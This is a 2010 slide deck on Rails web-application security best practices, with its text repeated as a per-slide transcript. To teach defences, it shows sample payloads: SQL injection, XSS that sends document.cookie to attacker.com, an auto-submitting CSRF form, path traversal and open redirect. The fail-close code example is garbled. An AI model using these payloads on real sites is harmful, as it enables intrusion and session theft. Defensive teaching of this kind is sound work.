Rails Security Best
     Practices
     http://ihower.tw
          2010/3
About Me
•           a.k.a. ihower
    • http://ihower.tw
    • http://twitter.com/ihower
    • http://github.com/ihower
• Ruby on Rails Developer since 2006
• Ruby Taiwan Community
 • http://ruby.tw
Defense in Depth

• Network: firewalls, IDS
• Operating system
• Web server
• Web application
• Database
75% of attacks are at the
  web application layer
      (By The Gartnet Group estimation)
What is Security?
• a measurement, not a characteristic
  •   not a simple requirement to be met...


• must be balanced with expense
  •   it’s easy and relatively inexpensive to provide a sufficient level of security
      for most applications. But if you need more...


• must be balanced with usability
  •   it’s often increase security also decrease the user usability...


• must be part of the design
                                                               (from PHP Security Guide: Overview)
Okay, your users are evil,
they will give you illegitimate operation and data.
Agenda
•   Information leaks
•   Session
•   SQL injection
•   Mass assignment
•   Unscoped finds
•   Controller Exposing methods
•   XSS
•   CSRF
•   File uploads/download
•   DoS
•   Host
Information Leaks

• Rails app?
• Web and Application server?
• SVN metadata?
Rails app?
•   Default static files
    •   /javascript/application.js
    •   /stylesheets/application.css
    •   /images/
•   URL schema
    •   /post/show/3
    •   /users/5
•   404/500/422 pages
Web and Application
      Server?
• Server Header
 • apache
 • nginx
 • mongrel
 • mod_rails
Disable Server Header
Server:Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch
Phusion_Passenger/2.2.9




✓   # apache2.conf
    ServerSignature Off
    ServerTokens Prod




Server:Apache
SVN metadata

     • GET http://your_site.org/.svn/entries
     ✓      <DirectoryMatch "^/.*/.svn/">
              ErrorDocument 403 /404.html
              Order allow,deny
              Deny from all
              Satisfy All
            </DirectoryMatch>




                                 Or just delete it:
http://plog.longwin.com.tw/my_note-unix/2008/01/07/find_delete_svn_directory_2008
Sensitive Information
• Do not store sensitive information in the
  clear
  • cookie
  • session(or flash)
  • memory for a long time
  • log files
  • cache
Filter Log params
    Processing UsersController#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST]
    Parameters: {"user"=>{"name"=>"eifion", "password_confirmation"=>"secret", "password"=>"secret"},
    "commit"=>"Register", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5"}


✓   # Rails 2.x
    class ApplicationController < ActionController::Base
      filter_parameter_logging "password"
    end

    Processing UsersController#create (for 127.0.0.1 at 2009-01-02 11:02:33) [POST]
      Parameters: {"user"=>{"name"=>"susan", "password_confirmation"=>"[FILTERED]", "password"=>"[FILTERED]"},
    "commit"=>"Register", "action"=>"create",
    "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5", "controller"=>"users"}
Cookie Session Storage
       # config/initializers/session_store.rb
       ActionController::Base.session = {
         :key    => '_app_session',
         :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
       }




• Don’t use a trivial secret
• Don’t store any secret information here
• Or.... just switch to another session storage
Session
   The session id is a 32 byte long MD5 hash value.




• Hijacking
• Fixation
 • reset_session after every login
SQL injection
                                              x'; DROP TABLE users; --




Project.find(:all, :conditions => "name = '#{params[:name]}'")


SELECT * FROM projects WHERE name = 'x'; DROP TABLE users; --’
SQL injection
                 vulnerabilities:


• find_by_sql
• execute
• find with conditions in a string
• limit and offset (before rails 2.1.1)
• group_by
• order
Always use the hash or
         array form
✓
    Project.find(:all, :conditions => { :name => params[:name] } )
    # or
    Project.find(:all, :conditions => ["name = ?", params[:name] ] )
Only allow predefine
                  value
    class User < ActiveRecord::Base

✓     def self.find_with_order(order)
        raise "SQL Injection Warning" unless ["id","id desc"].include?(order)
        find(:all, :limit => 1, :order => order )
      end

    end
Use quote if you need
   pass it directly
          ActiveRecord::Base::connection.quote


    class User < ActiveRecord::Base
✓     def self.find_with_order(order)
        find(:all, :order => connection.quote(order) )
      end

    end
Mass assignment

def create
  params[:user] #=> {:name => “ow3ned”, :is_admin => true}
  @user = User.create(params[:user])
end

def update
  @user = User.update_attributes(params[:user])
end
Protect it!

✓   class User < ActiveRecord::Base
        attr_protected :admin
    end

    # or

    class User < ActiveRecord::Base
        attr_accessible :name
    end
Assign protected
attributes manually
 params[:user] #=> {:name => "ow3ned", :admin => true}
 @user = User.new(params[:user])
 @user.admin #=> false # not mass-assigned
 @user.admin = true
 @user.admin #=> true
Unscoped finds
    class UserOrdersController < ApplicationController

    def show
        @order = Order.find(params[:id])
    end




✓
    def show
        @order = current_user.orders.find(params[:id]
    end
Controller Exposing
       methods

• Use protected and private
• If use RESTful design, do not use default
  routes
• http://ihower.tw/blog/archives/3265
XSS(Cross-Site Scripting)
      malicious users inject client-side script into web pages viewed by other users

<script>alert('HACK YOU!');</script>

<img src=javascript:alert('HACK YOU!')>

<table background="javascript:alert('HACK YOU!')">

<script>document.write(document.cookie);</script>

<script>document.write('<img src="http://www.attacker.com/' +
document.cookie + '">');</script>



•   Do not want to build black-list, you can find more at
               http://ha.ckers.org/xss.html
XSS Protection (Rails2)

• Use escapeHTML() (or its alias h()) method
• Plugins
 •   http://github.com/nzkoz/rails_xss (for Rails 2.3)

 •   http://agilewebdevelopment.com/plugins/safe_erb

 •   http://code.google.com/p/xss-shield/ (Tainting way)
XSS Protection (Rails3)
• Rails 3 auto escape string
• Unless you html_safe or raw string
 • “<p>safe</p>”.html_safe
 • raw(“<p>safe</p>”)
Allow user to use
   simple HTML code
• Use white-list sanitize() method
• If you use Textile or Markdown markup
  language, you still need sanitize it.
CSRF
    Cross-Site Request Forgery




  Use another users’ authorization token to
interact with a web application as the trusted
           user in a malicious way.
CSRF protection (1)

• Use GET request for safe operation such as
  a query, read operation, or lookup
• Use POST request for any destructive
  actions such as create, update, delete
But...
• POST requests can be sent automatically,
  too. An example:
     <a href="http://www.harmless.com/" onclick="
       var f = document.createElement('form');
       f.style.display = 'none';
       this.parentNode.appendChild(f);
       f.method = 'POST';
       f.action = 'http://www.example.com/account/destroy';
       f.submit();
       return false;">To the harmless survey</a>
CSRF protection (2)
protect_from_forgery will check all POST requests for a security token




✓    class ApplicationController < ActionController::Base
       protect_from_forgery
     end


    <form action="/projects/1" class="edit_project" enctype="multipart/form-data"
    id="edit_project_1" method="post">
      <div style="margin:0;padding:0;display:inline">
        <input name="_method" type="hidden" value="put" />
        <input name="authenticity_token" type="hidden" value="cuI
    +ljBAcBxcEkv4pbeqLTEnRUb9mUYMgfpkwOtoyiA=" />
      </div>
Redirection
         Do not allow user to pass (parts of) the URL for redirection directly




       def legacy
         redirect_to(params.update(:action=>'main'))
       end




http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
File Uploads: Overwrite

• Make sure file uploads don’t overwrite
  important files. eg. “../../../etc/passwd”
• Validate file name is simple. Don’t try to
  remove malicious parts.
• Use plugins: attachment_fu or paperclip
File Uploads: Executable
•   never to allow users to upload any extension
    associated with executable content on your
    site (.php, .cgi ...etc)
•   when user download, set the appropriate
    Content-Type HTTP header, eliminate the
    potential for XSS attacks.
•   or never let these files be not accessible to
    your web server (outside the DocumentRoot
    in Apache)
File downloads
Make sure users cannot download arbitrary files.




send_file('/var/www/uploads/' + params[:filename])
Command Line
  Injection

system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files
denial-of-service
      attacks (DoS)
• Avoid Long-running action, use background-
  processing.
• Don’t bother your application server
 • Use Web server provide static files
 • Use HTTP reverse proxy if need
Host
• Platform (Windows, Linux, Solaris, BSDs)
  choosing one which you can trust and familiar


• Firewall
  you can use nmap tool to show which ports are open


• SSH: move port 22 to another
• Turn off any services that you aren’t using.
• Hire system administrator to help
  Your time as a developer should be spent on the things your are good at.
One more concept...
Fail Close
    # fail open way, it’s bad
    def show
        @invoice = Invoice.find(params[:id])

          unless @user.validate_code( @invoice.code )
              redirect_to :action => 'not_authorized'
          end
    end


    # fail close way
    def show
        @invoice = Invoice.find(params[:id])

          if @user.validate_code( @invoice.code )
✓         else
               redirect_to :action => 'authorized

               redirect_to :action => 'not_authorized'
          end
    end
Whitelisting
       use whitelist, blacklist is hardly complete

    admins = %{ihower ihover}

    # fail close way
    if admins.include? user

✓
         redirect_to :action => 'authorized'
    else
         redirect_to :action => 'not_authorized'
    end

    # fail open way, don’t do this
    if !admins.include? user
         redirect_to :action => 'not_authorized'
    else
         redirect_to :action => 'authorized'
    end
Conclusion
• Rails has many security features enabled by
  default
  • SQL quoting
  • HTML sanitization
  • CSRF protection
Reference
•   Agile Web Development with Rails 3rd. Chap.27 Securing Your Rails Application
    (Pragmatic)
•   Rails2 Chap.13 Security and Performance Enhancements (friendsof)
•   Advanced Rails Chap.5 Security (O’Reilly)
•   Security Audit by Aaron Bedra (Peepcode)
•   Security on Rails (Pragmatic)
•   PHP Security Guide
•   http://blog.innerewut.de/2009/11/3/ruby-en-rails-2009-recap
•   http://guides.rubyonrails.org/security.html
•   http://www.rorsecurity.info
•   http://asciicasts.com/episodes/178-seven-security-tips
•   http://www.ultrasaurus.com/sarahblog/2010/01/rails-security-review-checklist/
•   http://www.quarkruby.com/2007/9/20/ruby-on-rails-security-guide
•   http://www.owasp.org
The End

Rails Security

  • 1.
    Rails Security Best Practices http://ihower.tw 2010/3
  • 2.
    About Me • a.k.a. ihower • http://ihower.tw • http://twitter.com/ihower • http://github.com/ihower • Ruby on Rails Developer since 2006 • Ruby Taiwan Community • http://ruby.tw
  • 3.
    Defense in Depth •Network: firewalls, IDS • Operating system • Web server • Web application • Database
  • 4.
    75% of attacksare at the web application layer (By The Gartnet Group estimation)
  • 5.
    What is Security? •a measurement, not a characteristic • not a simple requirement to be met... • must be balanced with expense • it’s easy and relatively inexpensive to provide a sufficient level of security for most applications. But if you need more... • must be balanced with usability • it’s often increase security also decrease the user usability... • must be part of the design (from PHP Security Guide: Overview)
  • 6.
    Okay, your usersare evil, they will give you illegitimate operation and data.
  • 7.
    Agenda • Information leaks • Session • SQL injection • Mass assignment • Unscoped finds • Controller Exposing methods • XSS • CSRF • File uploads/download • DoS • Host
  • 8.
    Information Leaks • Railsapp? • Web and Application server? • SVN metadata?
  • 9.
    Rails app? • Default static files • /javascript/application.js • /stylesheets/application.css • /images/ • URL schema • /post/show/3 • /users/5 • 404/500/422 pages
  • 10.
    Web and Application Server? • Server Header • apache • nginx • mongrel • mod_rails
  • 11.
    Disable Server Header Server:Apache/2.2.11(Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch Phusion_Passenger/2.2.9 ✓ # apache2.conf ServerSignature Off ServerTokens Prod Server:Apache
  • 12.
    SVN metadata • GET http://your_site.org/.svn/entries ✓ <DirectoryMatch "^/.*/.svn/"> ErrorDocument 403 /404.html Order allow,deny Deny from all Satisfy All </DirectoryMatch> Or just delete it: http://plog.longwin.com.tw/my_note-unix/2008/01/07/find_delete_svn_directory_2008
  • 13.
    Sensitive Information • Donot store sensitive information in the clear • cookie • session(or flash) • memory for a long time • log files • cache
  • 14.
    Filter Log params Processing UsersController#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST] Parameters: {"user"=>{"name"=>"eifion", "password_confirmation"=>"secret", "password"=>"secret"}, "commit"=>"Register", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5"} ✓ # Rails 2.x class ApplicationController < ActionController::Base filter_parameter_logging "password" end Processing UsersController#create (for 127.0.0.1 at 2009-01-02 11:02:33) [POST] Parameters: {"user"=>{"name"=>"susan", "password_confirmation"=>"[FILTERED]", "password"=>"[FILTERED]"}, "commit"=>"Register", "action"=>"create", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5", "controller"=>"users"}
  • 15.
    Cookie Session Storage # config/initializers/session_store.rb ActionController::Base.session = { :key => '_app_session', :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...' } • Don’t use a trivial secret • Don’t store any secret information here • Or.... just switch to another session storage
  • 16.
    Session The session id is a 32 byte long MD5 hash value. • Hijacking • Fixation • reset_session after every login
  • 17.
    SQL injection x'; DROP TABLE users; -- Project.find(:all, :conditions => "name = '#{params[:name]}'") SELECT * FROM projects WHERE name = 'x'; DROP TABLE users; --’
  • 18.
    SQL injection vulnerabilities: • find_by_sql • execute • find with conditions in a string • limit and offset (before rails 2.1.1) • group_by • order
  • 19.
    Always use thehash or array form ✓ Project.find(:all, :conditions => { :name => params[:name] } ) # or Project.find(:all, :conditions => ["name = ?", params[:name] ] )
  • 20.
    Only allow predefine value class User < ActiveRecord::Base ✓ def self.find_with_order(order) raise "SQL Injection Warning" unless ["id","id desc"].include?(order) find(:all, :limit => 1, :order => order ) end end
  • 21.
    Use quote ifyou need pass it directly ActiveRecord::Base::connection.quote class User < ActiveRecord::Base ✓ def self.find_with_order(order) find(:all, :order => connection.quote(order) ) end end
  • 22.
    Mass assignment def create params[:user] #=> {:name => “ow3ned”, :is_admin => true} @user = User.create(params[:user]) end def update @user = User.update_attributes(params[:user]) end
  • 23.
    Protect it! ✓ class User < ActiveRecord::Base attr_protected :admin end # or class User < ActiveRecord::Base attr_accessible :name end
  • 24.
    Assign protected attributes manually params[:user] #=> {:name => "ow3ned", :admin => true} @user = User.new(params[:user]) @user.admin #=> false # not mass-assigned @user.admin = true @user.admin #=> true
  • 25.
    Unscoped finds class UserOrdersController < ApplicationController def show @order = Order.find(params[:id]) end ✓ def show @order = current_user.orders.find(params[:id] end
  • 26.
    Controller Exposing methods • Use protected and private • If use RESTful design, do not use default routes • http://ihower.tw/blog/archives/3265
  • 27.
    XSS(Cross-Site Scripting) malicious users inject client-side script into web pages viewed by other users <script>alert('HACK YOU!');</script> <img src=javascript:alert('HACK YOU!')> <table background="javascript:alert('HACK YOU!')"> <script>document.write(document.cookie);</script> <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> • Do not want to build black-list, you can find more at http://ha.ckers.org/xss.html
  • 28.
    XSS Protection (Rails2) •Use escapeHTML() (or its alias h()) method • Plugins • http://github.com/nzkoz/rails_xss (for Rails 2.3) • http://agilewebdevelopment.com/plugins/safe_erb • http://code.google.com/p/xss-shield/ (Tainting way)
  • 29.
    XSS Protection (Rails3) •Rails 3 auto escape string • Unless you html_safe or raw string • “<p>safe</p>”.html_safe • raw(“<p>safe</p>”)
  • 30.
    Allow user touse simple HTML code • Use white-list sanitize() method • If you use Textile or Markdown markup language, you still need sanitize it.
  • 31.
    CSRF Cross-Site Request Forgery Use another users’ authorization token to interact with a web application as the trusted user in a malicious way.
  • 32.
    CSRF protection (1) •Use GET request for safe operation such as a query, read operation, or lookup • Use POST request for any destructive actions such as create, update, delete
  • 33.
    But... • POST requestscan be sent automatically, too. An example: <a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>
  • 34.
    CSRF protection (2) protect_from_forgerywill check all POST requests for a security token ✓ class ApplicationController < ActionController::Base protect_from_forgery end <form action="/projects/1" class="edit_project" enctype="multipart/form-data" id="edit_project_1" method="post"> <div style="margin:0;padding:0;display:inline"> <input name="_method" type="hidden" value="put" /> <input name="authenticity_token" type="hidden" value="cuI +ljBAcBxcEkv4pbeqLTEnRUb9mUYMgfpkwOtoyiA=" /> </div>
  • 35.
    Redirection Do not allow user to pass (parts of) the URL for redirection directly def legacy redirect_to(params.update(:action=>'main')) end http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
  • 36.
    File Uploads: Overwrite •Make sure file uploads don’t overwrite important files. eg. “../../../etc/passwd” • Validate file name is simple. Don’t try to remove malicious parts. • Use plugins: attachment_fu or paperclip
  • 37.
    File Uploads: Executable • never to allow users to upload any extension associated with executable content on your site (.php, .cgi ...etc) • when user download, set the appropriate Content-Type HTTP header, eliminate the potential for XSS attacks. • or never let these files be not accessible to your web server (outside the DocumentRoot in Apache)
  • 38.
    File downloads Make sureusers cannot download arbitrary files. send_file('/var/www/uploads/' + params[:filename])
  • 39.
    Command Line Injection system("/bin/echo","hello; rm *") # prints "hello; rm *" and does not delete files
  • 40.
    denial-of-service attacks (DoS) • Avoid Long-running action, use background- processing. • Don’t bother your application server • Use Web server provide static files • Use HTTP reverse proxy if need
  • 41.
    Host • Platform (Windows,Linux, Solaris, BSDs) choosing one which you can trust and familiar • Firewall you can use nmap tool to show which ports are open • SSH: move port 22 to another • Turn off any services that you aren’t using. • Hire system administrator to help Your time as a developer should be spent on the things your are good at.
  • 42.
  • 43.
    Fail Close # fail open way, it’s bad def show @invoice = Invoice.find(params[:id]) unless @user.validate_code( @invoice.code ) redirect_to :action => 'not_authorized' end end # fail close way def show @invoice = Invoice.find(params[:id]) if @user.validate_code( @invoice.code ) ✓ else redirect_to :action => 'authorized redirect_to :action => 'not_authorized' end end
  • 44.
    Whitelisting use whitelist, blacklist is hardly complete admins = %{ihower ihover} # fail close way if admins.include? user ✓ redirect_to :action => 'authorized' else redirect_to :action => 'not_authorized' end # fail open way, don’t do this if !admins.include? user redirect_to :action => 'not_authorized' else redirect_to :action => 'authorized' end
  • 45.
    Conclusion • Rails hasmany security features enabled by default • SQL quoting • HTML sanitization • CSRF protection
  • 46.
    Reference • Agile Web Development with Rails 3rd. Chap.27 Securing Your Rails Application (Pragmatic) • Rails2 Chap.13 Security and Performance Enhancements (friendsof) • Advanced Rails Chap.5 Security (O’Reilly) • Security Audit by Aaron Bedra (Peepcode) • Security on Rails (Pragmatic) • PHP Security Guide • http://blog.innerewut.de/2009/11/3/ruby-en-rails-2009-recap • http://guides.rubyonrails.org/security.html • http://www.rorsecurity.info • http://asciicasts.com/episodes/178-seven-security-tips • http://www.ultrasaurus.com/sarahblog/2010/01/rails-security-review-checklist/ • http://www.quarkruby.com/2007/9/20/ruby-on-rails-security-guide • http://www.owasp.org
  • 47.